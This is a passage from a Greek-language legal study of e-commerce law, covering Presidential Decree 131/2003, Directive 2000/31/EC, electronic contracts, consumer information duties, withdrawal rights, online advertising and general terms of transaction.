υπηρεσιών της κοινωνίας της πληροφορίας, είναι πρόσωπο που ασκεί οικονομική και πιο συγκεκριμένη δραστηριότητα κερδοσκοπικού χαρακτήρα. Αποδέκτης των υπηρεσιών είναι κάθε φυσικό ή νομικό πρόσωπο, που χρησιμοποιεί μια υπηρεσία της κοινωνίας της πληροφορίας «επαγγελματικώς ή άλλως» (άρθρο 1, στοιχείο δ)1. Σημειώνουμε συνεπώς ότι αποδέκτης θεωρείται και το πρόσωπο που χρησιμοποιεί τις εν λόγω υπηρεσίες για σκοπούς επαγγελματικούς. Καταναλωτής σύμφωνα με τους γενικό ορισμό είναι κάθε φυσικό πρόσωπο ή νομικό πρόσωπο ή ένωση προσώπων χωρίς νομική προσωπικότητα για τα οποία προορίζονται τα προϊόντα ή οι υπηρεσίες που προσφέρονται στην αγορά και τα οποία κάνουν χρήση των προϊόντων ή υπηρεσιών αυτών, εφόσον αποτελούν τον τελικό αποδέκτη τους. Καταναλωτής είναι και κάθε αποδέκτης διαφημιστικού μηνύματος. Ωστόσο το Π.Δ. 131/03 υιοθετεί τη στενή έννοια του καταναλωτή καθώς τον ορίζει ως φυσικό πρόσωπο που επιδιώκει στόχους μη εντασσόμενους στο πλαίσιο της εμπορικής ή επαγγελματικής του δραστηριότητας (άρθρο 1 στοιχ. ε)17. Στο πλαίσιο, στο οποίο αναφερόμαστε ως καταναλωτής νοείται ο αποδέκτης που χρησιμοποιεί υπηρεσίες κοινωνίας της πληροφορίας για μη επαγγελματικούς σκοπούς. Για τους λόγους που ήδη εκτέθηκαν και προκειμένου να ληφθούν υπόψη άλλα δικαιώματα καθώς και ανάγκες του δικαίου ορισμένοι τομείς εξαιρούνται ρητά από το πεδίο εφαρμογής του Π.Δ. 131/2003, δηλ. από το πεδίο στο οποίο εφαρμόζονται οι ρυθμίσεις του. Οι

εξαιρέσεις αυτές αντιστοιχούν σε αυτές που έχουν εισαχθεί με την κοινοτική Οδηγία για το ηλεκτρονικό εμπόριο. Συγκεκριμένα οι ρυθμίσεις του δεν εφαρμόζονται σε α) στον φορολογικό τομέα β) σε θέματα σχετικά με τις υπηρεσίες της κοινωνίας της πληροφορίας που καλύπτονται ήδη από το νόμο 2472/97, για την προστασία του ατόμου από επεξεργασία δεδομένων προσωπικού χαρακτήρα, και από το νόμο 3471/06 για την επεξεργασία δεδομένων προσωπικού χαρακτήρα και προστασίας της ιδιωτικής ζωής στον τομέα των ηλεκτρονικών επικοινωνιών σε θέματα που διέπονται από τη νομοθεσία 1. σε θέματα που διέπονται από τη νομοθεσία κατά των περιορισμών του ανταγωνισμού. 2. σε δραστηριότητες, που αφορούν ειδικότερα στις υπηρεσίες συμβολαιογράφων ή προσώπων αντίστοιχων επαγγελμάτων, εφόσον συνεπάγονται άμεση και ειδική σύνδεση με την άσκηση δημόσιας εξουσίας, όταν πρόκειται για δραστηριότητες που αφορούν στην εκπροσώπηση του πελάτη και στην υπεράσπιση των συμφερόντων του ενώπιον του δικαστηρίου. 3. σε δραστηριότητες που αφορούν συμμετοχή σε τυχερά παιχνίδια, στα οποία ο παίκτης στοιχηματίζει χρηματική αξία, συμπεριλαμβανομένων των λαχείων και των στοιχημάτων. Το άρθρο 2 § 218 ορίζει ότι «δεν επιτρέπεται να περιορίζεται η ελεύθερη κυκλοφορία των υπηρεσιών της κοινωνίας της πληροφορίας που προέρχονται από άλλο κράτος μέλος, για λόγους που αφορούν το συντονισμένο τομέα». Τέλος, το άρθρο 318 του προεδρικού διατάγματος μεταφέροντας το άρθρο 4 της οδηγίας 2000/31 ορίζει ότι «η ανάληψη και η άσκηση δραστηριότητας φορέα παροχής υπηρεσίας της κοινωνίας της πληροφορίας είναι ελεύθερη». Έτσι λοιπόν υιοθετείται η αρχή της μη αναγκαίας προηγούμενης αδείας. Βέβαια στο βαθμό που ο προμηθευτής υπηρεσιών κοινωνίας της πληροφορίας θεωρείται εν γένει ως προμηθευτής υποχρεούται σε καταχώριση στα σχετικά μητρώα που τηρούνται εν γένει για τους προμηθευτές. Η Οδηγία για το ηλεκτρονικό εμπόριο αφορά και τις λεγόμενες ηλεκτρονικές συμβάσεις (άρθρα 9, 10 και 11). Οι συμβάσεις στο Διαδίκτυο λαμβάνουν συνήθως δυο μορφές: 1) συνήθεις ηλεκτρονικές συμβάσεις μη τυποποιημένου μηνύματος 2) συμβάσεις τυποποιημένου μηνύματος - Ηλεκτρονικής Ανταλλαγής Δεδομένων EDI (electronic data interchange).

Αυτές πραγματοποιούνται με την ηλεκτρονική μεταφορά και επεξεργασία συναλλακτικών δεδομένων μεταξύ συστημάτων ηλεκτρονικής επεξεργασίας δεδομένων δύο ή περισσοτέρων συναλλασσομένων στο εσωτερικό ή εξωτερικό βάσει αναγνωρισμένων τεχνικών κανόνων. Το σύστημα αυτοματοποιεί τόσο τη διαδικασία παραγγελίας και σύναψης της σύμβασης όσο και την πληρωμή, η οποία καθίσταται εφικτή λόγω της ακολουθούμενης τυποποίησης των μηνυμάτων. Η ανταλλαγή των δεδομένων γίνεται συνήθως σε κλειστά δίκτυα, μπορεί όμως να λάβει χώρα και σε ένα ανοικτό δίκτυο, όπως είναι το Διαδίκτυο. Τα μηνύματα EDI περιέχουν τυποποιημένες πληροφορίες, τις οποίες επεξεργάζεται ειδικό λογισμικό, ώστε να κωδικοποιηθούν και στη συνέχεια να αποκωδικοποιηθούν. Σε μια σύμβαση που καταρτίζεται ηλεκτρονικά τα συμβαλλόμενα μέρη είναι δύο. Ο ένας είναι ο φορέας παροχής της υπηρεσίας και ο άλλος ο αποδέκτης της. Προκειμένου να καταρτιστεί μια σύμβαση είναι αναγκαίο να υπάρχει δήλωση βούλησης, η οποία περιέχει πρόταση για τη σύναψη σύμβασης και δήλωση αποδοχής της πρότασης. Αν πρόκειται για ηλεκτρονική σύμβαση τότε έχουμε ηλεκτρονική δήλωση βούλησης, που περιέχει πρόταση για τη σύναψη σύμβασης και ηλεκτρονική δήλωση αποδοχής της. Τα τεχνικά μέσα υποστηρίζουν τον τρόπο μεταβίβασης της δήλωσης βούλησης χωρίς να επηρεάζουν τη διαμόρφωσή της. Η δήλωση βούλησης που διαβιβάζεται μέσω ηλεκτρονικού υπολογιστή θεωρείται δήλωση μεταξύ απόντων, διότι οι συμβαλλόμενοι δεν επικοινωνούν ταυτόχρονα ώστε να θεωρηθούν παρόντες. Επομένως, για να επιφέρει αυτή νομική ενέργεια απαιτείται να έχει περιέλθει στον αποδέκτη της. Αυτό θεωρείται ότι πραγματοποιείται όταν εισέρχεται το μήνυμα στο ηλεκτρονικό γραμματοκιβώτιο ή στον τερματικό του παραλήπτη και συνεπακόλουθα στην σφαίρα εξουσίας του παραλήπτη, δηλαδή στον ηλεκτρονικό χώρο στον οποίο έχει πρόσβαση όποτε επιθυμεί. Ο παραλήπτης αναμένεται ότι υπό φυσιολογικές συνθήκες έχει τη δυνατότητα να προβεί στην ανάγνωση του περιεχόμενου του μηνύματος. Αν ο συμβαλλόμενος παραλήπτης λειτουργεί στο πλαίσιο εμπορικής ή επαγγελματικής δραστηριότητας είναι υποχρεωμένος να ελέγχει τα εισερχόμενα μηνύματα κατά τις ώρες λειτουργίας της επιχείρησής του. Αν, όμως, είναι ιδιώτης δεν είναι υποχρεωμένος να ελέγχει τακτικά το ηλεκτρονικό του ταχυδρομείο και για αυτό το λόγο γίνεται δεκτό ότι θα λάβει γνώση του μηνύματος το νωρίτερο μία μέρα μετά την αποστολή του. Στο άρθρο 10 του Π.Δ. 131/2003 ορίζονται οι αρχές που πρέπει να τηρούνται όταν ένα από τα συμβαλλόμενα μέρη είναι απλός καταναλωτής.

Οι αρχές αυτές είναι: 1. ο φορέας παροχής υπηρεσιών οφείλει να αποστείλει αποδεικτικό παραλαβής της παραγγελίας του αποδέκτη χωρίς περιττή καθυστέρηση και με ηλεκτρονικά μέσα. Κρίσιμο στοιχείο είναι το στοιχείο του χρόνου. Μία ηλεκτρονική σύμβαση συνήθως καταρτίζεται χωρίς ταυτόχρονη επικοινωνία των δύο συμβαλλόμενων μερών και συνεπώς, είναι σχεδόν αδύνατον να καθοριστεί η χρονική στιγμή, κατά την οποία αυτή πραγματοποιήθηκε. 2. Εάν ο φορέας παροχής υπηρεσιών της κοινωνίας της πληροφορίας παραλείψει να αποστείλει το αποδεικτικό παραλαβής της παραγγελίας τότε η σύμβαση ίσως θεωρηθεί μη συναφθείσα. Η διάταξη αυτή είναι αναγκαστική μόνο όταν ο ένας από τους συμβαλλόμενους ενεργεί με την ιδιότητα του καταναλωτή. 3. η παραγγελία και το αποδεικτικό παραλαβής θεωρείται ότι έχουν παραληφθεί όταν τα μέρη στα οποία απευθύνονται έχουν πρόσβαση σε αυτά Τόσο η κοινοτική όσο και η εθνική νομοθεσία θεωρεί ότι η παραγγελία και το αποδεικτικό παραλαβής της παραλαμβάνονται όταν από τη μια ο προμηθευτής έχει τη δυνατότητα πρόσβασης με ηλεκτρονικά μέσα στην παραγγελία, και από την άλλη ο αποδέκτης έχει τη δυνατότητα πρόσβασης με ηλεκτρονικά μέσα στο αποδεικτικό παραλαβής της (άρθρο 10 § 1 σημείο 2 του Π.Δ. 131/2003). 4. ο φορέας παροχής οφείλει να θέτει στη διάθεση του αποδέκτη της υπηρεσίας κατάλληλα, αποτελεσματικά και προσιτά μέσα που θα επιτρέψουν να επισημάνει και να διορθώσει τα λάθη του κατά τον ηλεκτρονικό χειρισμό πριν από την ανάθεση της παραγγελίας (άρθρο 10 § 1 σημείο 3 του Π.Δ.. 131/2003). Έτσι, ο φορέας υποχρεώνεται να διαμορφώνει τεχνικά τη διαδικασία της παραγγελίας με τέτοιο τρόπο, ώστε αυτή να αποτελείται από διακριτά στάδια, να παρέχει τη δυνατότητα διόρθωσης σφαλμάτων χειρισμού (σε λίγα δευτερόλεπτα αφότου έγιναν) και να ζητά επιβεβαίωση της παραγγελίας από τον χρήστη σε κάθε επόμενο στάδιο. 5. Εάν δεν τηρηθούν τα παραπάνω η σύμβαση είναι άκυρη και δεν παράγει αποτελέσματα. Εάν κανένα από τα συμβαλλόμενα μέρη δεν είναι καταναλωτής μπορούν να κάνουν και διαφορετική συμφωνία. Ένα κρίσιμο ζήτημα αφορά την παράδοση των αγαθών ή υπηρεσιών. Εκτός από τις περιπτώσεις που η σύμβαση αφορά υλικά αγαθά, σε άλλες περιπτώσεις η παράδοση μπορεί να συνίσταται σε άμεση φόρτωση (download) ή να συνίσταται σε μία υπηρεσία. Ο χρόνος παράδοσης είναι σημαντικός και σε σχέση με την πληρωμή. Ο κοινοτικός νομοθέτης, ακριβώς επειδή πρόκειται για συμβάσεις από απόσταση, αποδίδει μεγάλη σημασία στην ανάγκη επαρκούς πληροφόρησης του αποδέκτη των υπηρεσιών της

κοινωνίας της πληροφορίας. Την προσέγγιση αυτή υιοθετεί και ο εθνικός νομοθέτης: Το άρθρο 4 προβλέπει την υποχρέωση του φορέα παροχής υπηρεσιών να παρέχει ορισμένες γενικές πληροφορίες στις οποίες ο αποδέκτης πρέπει να έχει εύκολη, άμεση, και συνεχή πρόσβαση ώστε να μορφώσει πλήρη και άμεση αντίληψη για τον προμηθευτή, τη σύμβαση και τα προϊόντα και υπηρεσίες που αυτή αφορά. Οι πληροφορίες αυτές αφορούν την επωνυμία του φορέα, τη γεωγραφική διεύθυνση στην οποία είναι εγκατεστημένος, τον αριθμό εγγραφής σε εμπορικό μητρώο ή παρόμοιο δημόσιο μητρώο (αν είναι εγγεγραμμένος), τα στοιχεία της εποπτικής αρχής που του παραχώρησε έγκριση (αν υπόκειται σε καθεστώς έγκρισης η δραστηριότητα που ασκεί) (βλ. άρθρο 4 § 1 Π.Δ. 131/03). Σύμφωνα με το άρθρο 9 του Π.Δ. 131/2003 ο φορέας παροχής υπηρεσιών οφείλει πριν από τη σύναψη της σύμβασης και την ανάθεση της παραγγελίας να παρέχει σαφή και επαρκή πληροφόρηση για διάφορες ειδικές πτυχές της όπως τα διάφορα τεχνικά στάδια έως τη σύναψη της σύμβασης, π.χ. εάν η πρόταση για κατάρτιση σύμβασης πραγματοποιείται με την επιλογή ενός συγκεκριμένου εικονιδίου στην ιστοσελίδα του φορέα παροχής υπηρεσιών ή με τη συμπλήρωση κάποιας φόρμας παραγγελίας ή με την αποστολή e-mail κ.α. Σύμφωνα με τη νομοθεσία για τις συμβάσεις από απόσταση (άρθρο 4 § 2 ν. 2251/94 όπως ισχύει) υπάρχει υποχρέωση ενημέρωσης σχετικά με α) την ταυτότητα και διεύθυνση του προμηθευτή, β) τα ουσιώδη χαρακτηριστικά του αγαθού ή της υπηρεσίας, γ) την τιμή, την ποσότητα και τις δαπάνες μεταφοράς καθώς και τον ΦΠΑ εφόσον δεν περιλαμβάνεται στην τιμή, δ) τον τρόπο πληρωμής, παράδοσης και εκτέλεσης, ε) τη διάρκεια ισχύος της προσφοράς ή της τιμής, στ) το δικαίωμα υπαναχώρησης, ζ) το κόστος χρησιμοποίησης του μέσου επικοινωνίας από απόσταση, η) την ελάχιστη διάρκεια ισχύος της σύμβασης όπου αρμόζει, στην περίπτωση συμβάσεων για την προμήθεια προϊόντων ή υπηρεσιών που επιτελείται διαρκώς ή περιοδικώς. Οι πληροφορίες αυτές πρέπει να έχουν σαφή εμπορικό σκοπό και να περιέχονται κατά τρόπο ευκρινή και κατανοητό με όποιο μέσο αρμόζει στο διαδίκτυο. Εάν δεν προϋπάρξει αυτή η πληροφόρηση ο καταναλωτής μπορεί να ισχυριστεί ότι η σύμβαση είναι άκυρη (άρθρο 4 § 2 και 9 ν.2251/1994 ) και να ζητήσει την ακύρωσή της, είναι δηλ. άκυρη υπέρ του καταναλωτή. Η πρόβλεψη για ακυρότητα της σύμβασης σε περίπτωση παράλειψης της υποχρέωσης πληροφόρησης του αποδέκτη από μέρους του φορέα παροχής υπηρεσιών, αποτελεί το πλέον αποτρεπτικό μέσο29. Η υποχρέωση πληροφόρησης δεν υπάρχει σε όλες τις Β2Β ηλεκτρονικές συμβάσεις (καθώς δεν υπάρχει συμβαλλόμενο μέρος που να είναι καταναλωτής με την στενή έννοια του όρου)

οπότε οι επαγγελματίες μπορούν να συμφωνήσουν διαφορετικά μεταξύ τους για τις απαιτήσεις πληροφόρησης. Το 9 § 3 του Π.Δ. 131/2003 ορίζει ότι οι υποχρεώσεις πληροφόρησης δεν εφαρμόζονται σε συμβάσεις που συνάπτονται αποκλειστικά μέσω ανταλλαγής ηλεκτρονικών μηνυμάτων ή ισοδύναμων ατομικών επικοινωνιών.

Άλλη ισοδύναμη μορφή ατομικής επικοινωνίας με το e-mail θεωρείται για παράδειγμα η επικοινωνία σε chat rooms. Λόγω της εξοικείωσης των χρηστών του διαδικτύου με την αποστολή και λήψη ηλεκτρονικού ταχυδρομείου, όταν η διαδικασία σύναψης της σύμβασης γίνεται αποκλειστικά μέσω αυτής της υπηρεσίας, και όχι μετά από επίσκεψη του αποδέκτη στην ιστοσελίδα του φορέα, δεν είναι αναγκαία η παροχή πληροφοριών για τα τεχνικά μέσα και τα στάδια κατάρτισης της σύμβασης. Το άρθρο 6 της οδηγίας για το ηλεκτρονικό εμπόριο προβλέπει δικαίωμα υπαναχώρησης εντός προθεσμίας τουλάχιστον επτά εργάσιμων ημερών για τον καταναλωτή-χρήστη του διαδικτύου. Ενώ όταν τυγχάνει εφαρμογής το ελληνικό δίκαιο, για την άσκηση του δικαιώματος της αναιτιολόγητης υπαναχώρησης ορίζεται από το άρθρο 4 § 10 ν.2251/1994 προθεσμία υπαναχώρησης σε δεκατέσσερις ημερολογιακές ημέρες από την ημερομηνία παραλαβής του αγαθού ή της υπηρεσίας, αν δεν συμφωνήθηκε μεγαλύτερη προθεσμία. Η προθεσμία αρχίζει για τα αγαθά από την παραλαβή τους και για τις υπηρεσίες από τη λήψη πληροφοριών για τη σύναψη της σύμβασης. Ο καταναλωτής ασκεί το δικαίωμα αυτό κοινοποιώντας το γεγονός εγγράφως ή με άλλο σταθερό μέσο. Θα μπορούσε συνεπώς να αρκεί και ένα απλό μήνυμα ηλεκτρονικού ταχυδρομείου. Ο καταναλωτή οφείλει να επιστρέψει το αγαθό στην αρχική του κατάσταση αλλά όρος για επιστροφή στην αρχική συσκευασία δεν είναι νόμιμοι. Ο καταναλωτής επιβαρύνεται με το κόστος επιστροφής των αγαθών αλλά δεν επιτρέπεται να επιβαρύνεται και με άλλες δαπάνες, όπως π.χ., τραπεζικές προμήθειες κλπ.. Ο προμηθευτής υποχρεούται να επιστρέψει τα καταβληθέντα από τον καταναλωτή ποσά χωρίς επιβάρυνση, εντός 30 ημερολογιακών ημερών. Στόχος της καθιέρωσης του δικαιώματος υπαναχώρησης, και μάλιστα αναιτιολόγητα, είναι η εξασφάλιση της προστασίας του καταναλωτή αντισταθμίζοντας την ανισότητα ανάμεσα στα συμβαλλόμενα μέρη που παρατηρείται στους προ-διατυπωμένους γενικούς όρους συναλλαγών. Σε περίπτωση που ο προμηθευτής δεν παρέχει την πληροφόρηση που υποχρεούται τότε η προθεσμία υπαναχώρησης είναι τρεις μήνες από την παραλαβή του αγαθού. Εάν στο μεταξύ λάβει τις σχετικές πληροφορίες τότε ισχύει η συνήθης προθεσμία της αναιτιολόγητης

υπαναχώρησης, δηλ. 14 ημέρες, που αρχίζει από την ημέρα λήψης των σχετικών πληροφοριών.

Εξαιρέσεις από την κατάρτιση ηλεκτρονικών συμβάσεων 1.

Ο Έλληνας νομοθέτης ορίζει ότι “με την επιφύλαξη των διατάξεων του Π.Δ. 150/2001

για τις ηλεκτρονικές υπογραφές (μεταφορά της οδηγίας 1999/93/ΕΚ για τις ηλεκτρονικές υπογραφές), επιτρέπεται η κατάρτιση συμβάσεων με ηλεκτρονικά μέσα”. Εξαιρέσεις στην παραπάνω υποχρέωση έχουν την ευχέρεια να προβλέπουν τα κράτη-μέλη, σύμφωνα με το άρθρο 9 § 2 της οδηγίας 2000/31/ΕΚ, για τις συμβάσεις που θεμελιώνουν ή μεταβιβάζουν δικαιώματα επί ακινήτου περιουσίας, 2.

εκτός από τα δικαιώματα μίσθωσης, τις συμβάσεις που απαιτούν εκ του νόμου την

προσφυγή σε δικαστήρια, δημόσιες αρχές ή επαγγέλματα που ασκούν δημόσια εξουσία, τις συμβάσεις εγγυοδοσίας και συναφούς ασφαλείας από πρόσωπα που επιδιώκουν στόχους μη εντασσόμενους στο πλαίσιο της εμπορικής ή επαγγελματικής τους δραστηριότητας και τις συμβάσεις που εμπίπτουν στο οικογενειακό ή κληρονομικό δίκαιο. 3.

Ο Έλληνας νομοθέτης μεταφέροντας την οδηγία για το ηλεκτρονικό εμπόριο στο Π.Δ.

131/2003 χρησιμοποίησε την ευχέρεια που δίνει αυτή στα κράτη-μέλη να παρεκκλίνουν από τον κανόνα σε όλες τις παραπάνω περιπτώσεις, εκτός από τις συμβάσεις εγγυοδοσίας και συναφούς ασφαλείας, που συνάπτονται από πρόσωπα που ενεργούν με την ιδιότητα του καταναλωτή. Ο ρόλος της διαφήμισης στο χώρο του ηλεκτρονικού εμπορίου είναι ιδιαίτερα σημαντικός όχι μόνο λόγω του γεγονότος ότι η διαφήμιση στο διαδίκτυο είναι και πιο άμεση και χαμηλότερου κόστους σε σύγκριση με τις άλλες διαφημίσεις αλλά και επειδή αποτελεί σημαντική πηγή εσόδων για τους φορείς διαδικτυακών τόπων. Το τελευταίο σημείο πρέπει να τονιστεί ιδιαίτερα καθώς χωρίς τη χρηματοδότηση από τις διαφημιζόμενες επιχειρήσεις οι φορείς διαδικτυακών τόπων θα αδυνατούσαν να προσφέρουν δωρεάν τις υπηρεσίες τους στους χρήστες. Σύμφωνα, με το άρθρο 10 § 1 της Ευρωπαϊκής Σύμβασης Δικαιωμάτων του ανθρώπου αλλά και σύμφωνα με το άρθρο 14 παράγραφος 1 του Συντάγματος η ελεύθερη διάδοση γνώμης καθώς και η ελευθερία λήψης πληροφοριών προστατεύονται. Συνεπώς και η διαφήμιση ως έκφραση γνώμης προστατεύεται από την αρχή της ελευθερίας της έκφρασης. Ωστόσο, πρέπει να υπόκειται και σε κάποιους περιορισμούς ώστε να διαφυλάττονται και άλλα κοινωνικά αγαθά όπως είναι το δικαίωμα στον πληροφορικό αυτοκαθορισμό, η προστασία της ανθρώπινης αξιοπρέπειας κ.α.

Η διαφήμιση μέσω διαδικτύου απευθύνεται σε μεγάλο αριθμό ανθρώπων και μπορεί να επηρεάσει πολλές κοινωνικές ομάδες οι οποίες πολλές φορές είναι ιδιαίτερα ευάλωτες όπως π.χ. οι ανήλικοι. Ο σεβασμός απέναντι σε αυτές τις ομάδες (και γενικότερα στα δικαιώματα του ανθρώπου) από τις επιχειρήσεις καθώς και η μη καταχρηστική χρήση του δικαιώματος για ελευθερία στην έκφραση από την πλευρά τους θα τις βοηθήσει να θωρακίσουν αυτό το δικαίωμα αλλά και να κερδίσουν την εμπιστοσύνη των καταναλωτών. Οι ρυθμίσεις, που ισχύουν για τη διαφήμιση στην τηλεόραση ή το ραδιόφωνο, δεν είναι επαρκείς για το διαδίκτυο, καθώς έχουν θεσπισθεί με γνώμονα τον παθητικό χαρακτήρα του θεατή ή ακροατή. Στο διαδίκτυο, που έχει ως βάση του τον αμφίδρομο χαρακτήρα της επικοινωνίας και την έμπρακτη συμμετοχή του χρήστη, ο ίδιος ο χρήστης επιλέγει, αν τον ενδιαφέρει ή όχι κάποια διαφήμιση. Επομένως, είναι απαραίτητο να αναπτυχθούν και ειδικές ρυθμίσεις που θα λαμβάνουν υπόψη τους τον ειδικό χαρακτήρα του διαδικτύου, παρέχοντας συγχρόνως προστασία στον καταναλωτή. Ωστόσο, η ποικιλία των τρόπων με τους οποίους μπορεί να διαφημιστεί μια επιχείρηση στο διαδίκτυο καθιστά αρκετά δύσκολη τη ρύθμιση τους. Μάλιστα, ένα πρώτο ερώτημα στο οποίο πρέπει να απαντήσει ο νομοθέτης είναι τι συνιστά και τι όχι διαφήμιση στο διαδίκτυο. Η παρουσία στο διαδίκτυο με τη δημιουργία μιας ιστοσελίδας, η διαφήμιση μέσω πλαισίων banner, τα αναδυόμενα παράθυρα (pop-up advertising) και το spamming δεν μπορούσαν, όπως επισημαίνει ο Ιγγλεζάκης, να χαρακτηριστούν όλα ως κατεξοχήν διαφήμιση και για αυτό ο κοινοτικός νομοθέτης επέλεξε τον όρο ‘εμπορικές επικοινωνίες. Σύμφωνα με το άρθρο 2 σημείο (στ) της οδηγίας για το ηλεκτρονικό εμπόριο, εμπορική επικοινωνία είναι κάθε μορφή επικοινωνίας που αποσκοπεί να προωθήσει, άμεσα ή έμμεσα αγαθά, υπηρεσίες ή την εικόνα μια επιχείρησης, ενός οργανισμού ή ενός προσώπου που ασκεί εμπορική, βιομηχανική ή βιοτεχνική δραστηριότητα ή νομοθετικώς κατοχυρωμένο επάγγελμα. Δεν συνιστούν εμπορική επικοινωνία: α) τα στοιχεία που επιτρέπουν την άμεση πρόσβαση στη δραστηριότητα της εν λόγω επιχείρησης, του οργανισμού ή του προσώπου, ιδίως το όνομα χώρου (domain name) ή τη διεύθυνση ηλεκτρονικού ταχυδρομείου, καθώς και β) οι επικοινωνίες που αφορούν αγαθά, υπηρεσίες ή την εικόνα της εν λόγω επιχείρησης, του οργανισμού ή του προσώπου, οι οποίες πραγματοποιούνται ανεξαρτήτως από τη θέλησή τους, ιδίως χωρίς οικονομικό αντάλλαγμα. Σύμφωνα με το άρθρα 6 της οδηγίας 2000/31/ΕΚ η εμπορική επικοινωνία, όπως και το φυσικό ή νομικό πρόσωπο για το οποίο γίνεται, πρέπει να είναι σαφώς αναγνωρίσιμα στοιχεία. Για το συμφέρον των καταναλωτών και για τη διαφάνεια των συναλλαγών οι

εμπορικές επικοινωνίες, συμπεριλαμβανομένων των προσφορών, των διαφημιστικών διαγωνισμών ή παιχνιδιών, οφείλουν να πληρούν αντίστοιχες απαιτήσεις διαφάνειας υπό την επιφύλαξη των απαιτήσεων των οδηγιών 97/7/ΕΚ και 97/66/ΕΚ. Συγκεκριμένα, οι προσφορές, όπως είναι οι εκπτώσεις, τα πριμ, τα δώρα, οι διαφημιστικοί διαγωνισμοί και τα παιχνίδια στο μέτρο που επιτρέπονται, πρέπει να είναι σαφώς αναγνωρίσιμα, η πρόσβαση στους όρους υπό τους οποίους μπορεί κανείς να επωφεληθεί από τις προσφορές αλλά και στους όρους συμμετοχής για τα παιχνίδια και τους διαγωνισμούς πρέπει να είναι εύκολη, οι δε όροι πρέπει να παρουσιάζονται σαφώς και επακριβώς (άρθρο 5 Π.Δ. 131/2003). Με τον τρόπο αυτό αποφεύγεται η περίπτωση συγκαλυμμένης διαφήμισης που μπορεί να παραπλανήσει τον καταναλωτή. Τέλος, τόσο η οδηγία για το ηλεκτρονικό εμπόριο όσο και το Π.Δ. 131/2003 κάνουν ειδική αναφορά στον τρόπο με τον οποίο μπορούν να διαφημίζονται μέσω διαδικτύου όσοι ασκούν «νομοθετικά κατοχυρωμένα επαγγέλματα». Νομοθετικά κατοχυρωμένο επάγγελμα θεωρείται αυτό που για να ασκηθεί χρειάζεται ειδική άδεια ή πτυχίο, όπως είναι το επάγγελμα του δικηγόρο, του γιατρού, του φαρμακοποιού, του φοροτεχνικού, του μηχανικού κ.α. Σύμφωνα με το άρθρο 7 § 1 του Π.Δ. 131/200336 επιτρέπεται η πραγματοποίηση εμπορικής επικοινωνίας από τους ασκούντες τα παραπάνω επαγγέλματα, αρκεί να τηρούν του επαγγελματικούς κανόνες, που εξασφαλίζουν την ανεξαρτησία, την αξιοπρέπεια και το ήθος του επαγγέλματός τους, καθώς και το επαγγελματικό απόρρητο και την πίστη προς τους πελάτες, όπως και τη συναδελφική δεοντολογία.

Η Αλεξανδρίδου παρατηρεί ότι είναι αξιοσημείωτο ότι, όσον αφορά τη ρύθμιση του παραπάνω θέματος, είναι το γεγονός ότι αν και ο κοινοτικός νομοθέτης προβλέπει στην οδηγία για το ηλεκτρονικό εμπόριο (άρθρο 8 § 2) την ενθάρρυνση των επαγγελματικών ενώσεων ώστε αυτές να καταρτίσουν κώδικες διαφημιστικής δεοντολογίας ο έλληνας νομοθέτης δεν προέβη σε ανάλογη πρόβλεψη.

Οι περισσότερες ηλεκτρονικές συμβάσεις καταρτίζονται είτε με ηλεκτρονικά έγγραφα που έχουν συνταχθεί εκ των προτέρων είτε με προδιατυπωμένους γενικούς όρους συναλλαγών στους οποίους καλείται ο αντισυμβαλλόμενος αποδέκτης να προσχωρήσει ή να μην προσχωρήσει και να λήξει εκεί η συναλλαγή. Από το άρθρο 2

§ 1 του νόμου 2251/1994, οι διατάξεις του οποίου εφαρμόζονται στο σύνολό τους και στις ηλεκτρονικές συμβάσεις, προκύπτουν τα εννοιολογικά χαρακτηριστικά των γενικών όρων συναλλαγών: Από το άρθρο 2 § 1 του νόμου 2251/1994, οι διατάξεις του οποίου εφαρμόζονται στο σύνολό τους και στις ηλεκτρονικές συμβάσεις, προκύπτουν τα εννοιολογικά χαρακτηριστικά των γενικών όρων συναλλαγών: Γενικοί όροι συναλλαγών 1.

είναι όροι της σύμβασης,

2.

έχουν διατυπωθεί εκ των προτέρων

3.

προορίζονται να αποτελέσουν ομοιόμορφο περιεχόμενο απροσδιόριστου αριθμού

μελλοντικών συμβάσεων 4.

επιβάλλονται από τον ένα συμβαλλόμενο στον άλλο κατά την κατάρτιση της

συμβάσεως και ο καταναλωτής δεν μπορεί να τους διαπραγματευτεί ατομικά. 5.

Όλα αυτά δείχνουν την ανισορροπία ισχύος μεταξύ των συμβαλλομένων καθώς

αυτός που προδιατυπώνει τους όρους δεν είναι ο αποδέκτης αλλά ο φορέας παροχής των υπηρεσιών της κοινωνίας της πληροφορίας, που είναι κατά τεκμήριο και οικονομικά ισχυρότερος. Οι γενικοί όροι συναλλαγών «δεν δεσμεύουν τον καταναλωτή αν κατά την κατάρτιση της σύμβασης τους αγνοούσε ανυπαιτίως και ο προμηθευτής δεν του υπέδειξε την ύπαρξή τους ή του στέρησε τη δυνατότητα να λάβει πραγματική γνώση του περιεχομένου τους». Επομένως, ο προμηθευτής, προκειμένου να διασφαλίσει τα συμφέροντά του, πρέπει να επιστήσει την προσοχή του καταναλωτή - με κατάλληλα, εμφανή και σαφή links και εικονίδια στην ιστοσελίδα του καθώς και με την κατάλληλη διαμόρφωση των σταδίων κατάρτισης της σύμβασης (π.χ. να μην μπορεί να προχωρήσει η συναλλαγή αν δεν αποδεχτεί τους όρους ο καταναλωτής) - στους όρους που διέπουν τη συναλλαγή του. Το άρθρο 2 του νόμου 2251/1994 στις παραγράφους 6 και 7 περιέχει διατάξεις σχετικά με τον έλεγχο του περιεχομένου των γενικών όρων συναλλαγών ώστε αυτοί να μην είναι καταχρηστικοί. Οι καταχρηστικοί όροι απαγορεύονται και θεωρούνται άκυροι. Προκειμένου να χαρακτηριστεί ως καταχρηστικός ένας γενικός όρος σύμβασης λαμβάνονται υπόψη η φύση των αγαθών ή υπηρεσιών, ο σκοπός σύναψης της σύμβασης, οι ειδικές συνθήκες κλπ.

Η εξακρίβωση του τόπου εγκατάστασης του φορέα παροχής των υπηρεσιών, λόγω των γνωστών ιδιαιτεροτήτων του διαδικτύου συχνά παρουσιάζει δυσχέρειες. Για τον λόγο αυτό

η Οδηγία για το ηλεκτρονικό εμπόριο εισάγει κανόνα εντοπισμού της εγκατάστασης του φορέα παροχής υπηρεσιών.

Το άρθρο 1 στοιχείο γ του Π.Δ. 131/200341, το οποίο μεταφέρει την αντίστοιχη κοινοτική ρύθμιση, ορίζει ότι εγκατεστημένος φορέας παροχής υπηρεσιών είναι «ο φορέας ο οποίος ασκεί ουσιαστικώς μια οικονομική δραστηριότητα μέσω μια μόνιμης εγκατάστασης για αόριστη χρονική διάρκεια.

